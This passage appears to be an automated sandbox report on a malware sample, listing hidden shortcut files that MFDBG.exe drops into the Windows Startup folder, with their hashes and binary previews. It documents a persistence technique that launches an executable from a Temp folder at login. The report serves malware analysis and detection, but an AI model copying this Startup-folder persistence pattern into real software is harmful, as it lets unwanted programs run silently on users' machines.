File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9283968705959555
Encrypted:	false
SSDEEP:	24:8IBfs8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8GREvZ0yRO7DLO2zdxdRd1kyg
MD5:	C5EA4B33D3955487180DE8B4BFFC001A
SHA1:	C23B7EFC5DA8618AD5BA5B750BD30D3E2EF879A7
SHA-256:	ABBE4E4AA7390509603E29D6FE7A152AACADD300F433F50EA9B77F54D0FF3AB3
SHA-512:	5279C7F133A2243D9C817A214A8399084EED599DC0956F6FA2B7AAC6EF8E9527B8489AC19F7267E3B9F2D7A308240D4A2807B4DD44BE9D9E5196DE7ED94374EE
Malicious:	false
Preview:	L..................F....".......d......{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f4b5a7df816f4497a7e8cb98139bdf48.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92478465432273
Encrypted:	false
SSDEEP:	24:8VLBfTf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8TIEvZ0yRO7DLO2zdxdRd1kyg
MD5:	85E9BAD7EC7F611154D022A1A1E71B95
SHA1:	DEFE949E402C6AB06EBA9346E5B90D66E150829E
SHA-256:	4AB6D9CCCE02CB385DD686161744FCCFBBA5D3CFC686D7B6A288FA944EAA3413
SHA-512:	B8C165AC677C8C3B7A4A9C2C87B160E8CAEABB860A533624199762962C674D5B647234FECD8275177A7B924F149A90F6C84FAFEE350344294D065093CF2B65B2
Malicious:	false
Preview:	L..................F....".......d...(A%.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....".d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f4c769dcd6fd4287a40c456dba82b287.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:58 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925318665685538
Encrypted:	false
SSDEEP:	24:8gBfq8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8uPEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F2DFD88CBDBB6450E0C3738F49902641
SHA1:	94C2702C58E560E10E5B996662B94FEEDD583756
SHA-256:	3C839C2EE1E0DEF33E1AF8E5AA2883BBF782534D8D2D335DFD08A4EDECCA7F41
SHA-512:	A50E5BD5B1C0705C5D1D5F984EC2E71E4B607375661F9490852EFC16758C2B49A796D2628EE86AFBD4ACF2F160338FA7E00A345A1251AC071061D19B683625A7
Malicious:	false
Preview:	L..................F....".......d...3B..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f50d22f87a8449d3be113df1294cbaad.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917101875822007
Encrypted:	false
SSDEEP:	24:8+3BfMN8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8+RUaEvZ0yRO7DLO2zdxdRd1kyg
MD5:	474F8E2BFA2183C15DDED070F6473B00
SHA1:	E23558EBDD0A4198F9D8DDBC6F6E84636EBA34F4
SHA-256:	936241263750C27B2C7DCA60D5D2A9BCFEECDF3FD7AA1ECCBFC720B2035DE304
SHA-512:	B5769C724129EBEF7810D9783B45C7BFD61962165A323C1836828D24CDD5E2892F9378864DFD0F117E2EF81B66C4122F535B18CC847875176417F5CD2BF2E4C4
Malicious:	false
Preview:	L..................F....".......d....V..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...'k.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f54b3fe81f7346f0b3c02addc3692e43.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919097173184552
Encrypted:	false
SSDEEP:	24:8OBfa8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8kvEvZ0yRO7DLO2zdxdRd1kyg
MD5:	DDD2947222981E9E39F39337812A56C3
SHA1:	C2D48D680A4B12B8F2F5012D22EA0D577B9B26CD
SHA-256:	AEDF4ABEEEF1EA50708122D3FCBDF9CE7958349A756E670006CAA707025DDB54
SHA-512:	6E70E9B576F4A72878CE7A652ECFDEFBAD30657B904C2F8BF230DF08F9B20B4EB10669871397BF17E0E8457CE45C161BB4EFC0EFF7216B46C19B09F829744D4A
Malicious:	false
Preview:	L..................F....".......d...I.F(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...I.F(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5b967b8d0224e779a1846541c73128b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:40 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92268102827612
Encrypted:	false
SSDEEP:	24:8JBfX48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8zP9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	A8F17C4687CDFEE3029DA09C2AD89F72
SHA1:	EF3C7692A0F31A554559DE8AFC0978D89A460A58
SHA-256:	0AF21F2F6DA3EF6761E60A4AAF204C0F864188255E02FBE13B0DF25937653DC4
SHA-512:	B566C74769E0F694F3CB2C0351B1E7AE7FD8B70C11E79D651DE6462CAC0226084063E9EC2A9E3EBD6EFC872BB2BFECDE6C7471CCD90EA24A95B6EE6125F77FBB
Malicious:	false
Preview:	L..................F....".......d.....}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....6.}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5cc5c1c3f3945f5a2f551f7e58f0025.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:45 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.927299855179359
Encrypted:	false
SSDEEP:	24:8HBfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8hcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	8B8754C68109A3332A6BA478EBDFF3E9
SHA1:	8E8C0A90846A721BA9E0B9B560007BCC4E801ADC
SHA-256:	5D4C24110B3F8A63996C23E9FB226082F18D50C464BC42BB3211549D72022C3A
SHA-512:	FDE9DC070D1F839A58A729413BBE22E4E33B8E01D92D7F10B26AC7904E04CC25060FF5F3312D31B3A7E55D85C0DFA5E1CE19B31CF8E7A7EE371B4BE88037C1B4
Malicious:	false
Preview:	L..................F....".......d.... .[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f5cf6be2ff21462486128190b8390323.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:18 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926634756058511
Encrypted:	false
SSDEEP:	24:8MBfB8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8COEvZ0yRO7DLO2zdxdRd1kyg
MD5:	5613B4A5D156FBF5868E29F9FFCF1D37
SHA1:	4DCC02C909CC9949E334595865E5AF2B67040AF2
SHA-256:	89F15BD91DA2A3910BD383C4226EC47DCC2A4F67178D2A376F859E0F2ED87383
SHA-512:	A5AC0F3359FBCA7EEC44303EC2AB9298A86B0669DD6DB8934CD3FD406037ACF36264900F4699432D4F1A053894361B461E7738486BBB197710B7FF27AC69295A
Malicious:	false
Preview:	L..................F....".......d....j.(d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......(d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f6374e59e8e848289cdd6bca699591e5.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:47 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928396870595956
Encrypted:	false
SSDEEP:	24:8iBfE8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QpEvZ0yRO7DLO2zdxdRd1kyg
MD5:	1AB60DE51AB7BDAD0AF4C9DE3A5196F0
SHA1:	7F63FED7CD46FB408AC7C8CF45AA341A03BFB176
SHA-256:	3314BB3ACB41D51EC17C64EEF91B5D98EDEB758D4C85E372DAF04AFF2FDFA720
SHA-512:	FD46CCA81EB604480774438C282109877DAB322C5EB76CFB0AC3A66CF95778A8D3068C9C90D3A2B21FDB252824021A1AFDBD3851CD347EFE4709EDB2101D558A
Malicious:	false
Preview:	L..................F....".......d...<%(]d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....%]d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f639ee0d4f084b9f8f4f72430c281769.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923235381124656
Encrypted:	false
SSDEEP:	24:8eQBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8eeFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	F0BA31EF1B966C3B19D43F4185328F35
SHA1:	CAFB177EBF46BA8FFDABBE5B32D43F12E1F91AA5
SHA-256:	0564A3229CC1E35B5E0F6F5CC9F7C89AF3009B7646626481C501108995AE35CD
SHA-512:	A981206999E0CAD3B61F1C86236BE5FE11659DCB8BDF550DCE6B5403899BE007F1CDDDDD9BFDBC522BA570D240F0AC26187DB182A73EAB1D66A9B01FDA278CDF
Malicious:	false
Preview:	L..................F....".......d.....:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...4..:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f65d3bd057d041bda72c93045ac5b69e.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:43 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931489183375097
Encrypted:	false
SSDEEP:	24:8PmBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8PsFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	50C8B54A7B7425408489B17AF2B96F6E
SHA1:	97694E126DD62C1ABFDAD82B07075F7DC2E8CEA6
SHA-256:	C2CD6628BD92ADA94CB07B46B789512C10164DBFBC6DEF92C2AE9AA3A8FD91F3
SHA-512:	87C5027578B752DE1364E3CB2A456F6DA215A9915CE45037596D503F176E7EC052E88140ABFB5401B8B5DE9C98E2E64C3B4178A25F5DA7C20D600DE01988ACA0
Malicious:	false
Preview:	L..................F....".......d......Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...$}.Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f6a7db425463482ebdfe9038eef803ef.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.915903967667248
Encrypted:	false
SSDEEP:	24:8pfNQBf98EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8pAiEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7558329996A1EC5A53075EA01945C050
SHA1:	CA03FD1B7D3D69E3474B2E1805F9603C52282B27
SHA-256:	3F07E07391B82E86F28BE3F8B6E37DD44A1D524BAC6210825EAA94528C3863A6
SHA-512:	07A098CA373C1BA52D511F503462C663338F2C171CD95F6011E30AB574DB00CC16027C96D13DD5CADFCA3A06540DF9C662FEFA74878DE0B8307A98FE95522197
Malicious:	false
Preview:	L..................F....".......d....S:^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...=\|"^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f6b2dc63d8724a01b65af3be17a83528.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923366468882698
Encrypted:	false
SSDEEP:	24:8IBfm8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8GDEvZ0yRO7DLO2zdxdRd1kyg
MD5:	44165ED4959434B18D1ABE20977D9665
SHA1:	DD6799A658081C2BA92288372F13A90430A291EA
SHA-256:	0733E6905E50D9F1C6DEA5FD7E3B1EE71C949E61691E9A0AF7435B80D83D822B
SHA-512:	2BE742F89FCEF677016357F2768E9219C6F1078F82B5E3166536C24117AFAB0EE769CFFB2387FF69044D061A5D0531C30A621CD81FD6FEB5B8DF432C2278E738
Malicious:	false
Preview:	L..................F....".......d......&d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......&d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f73de78cc5d64e2cbf683454adf71c62.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
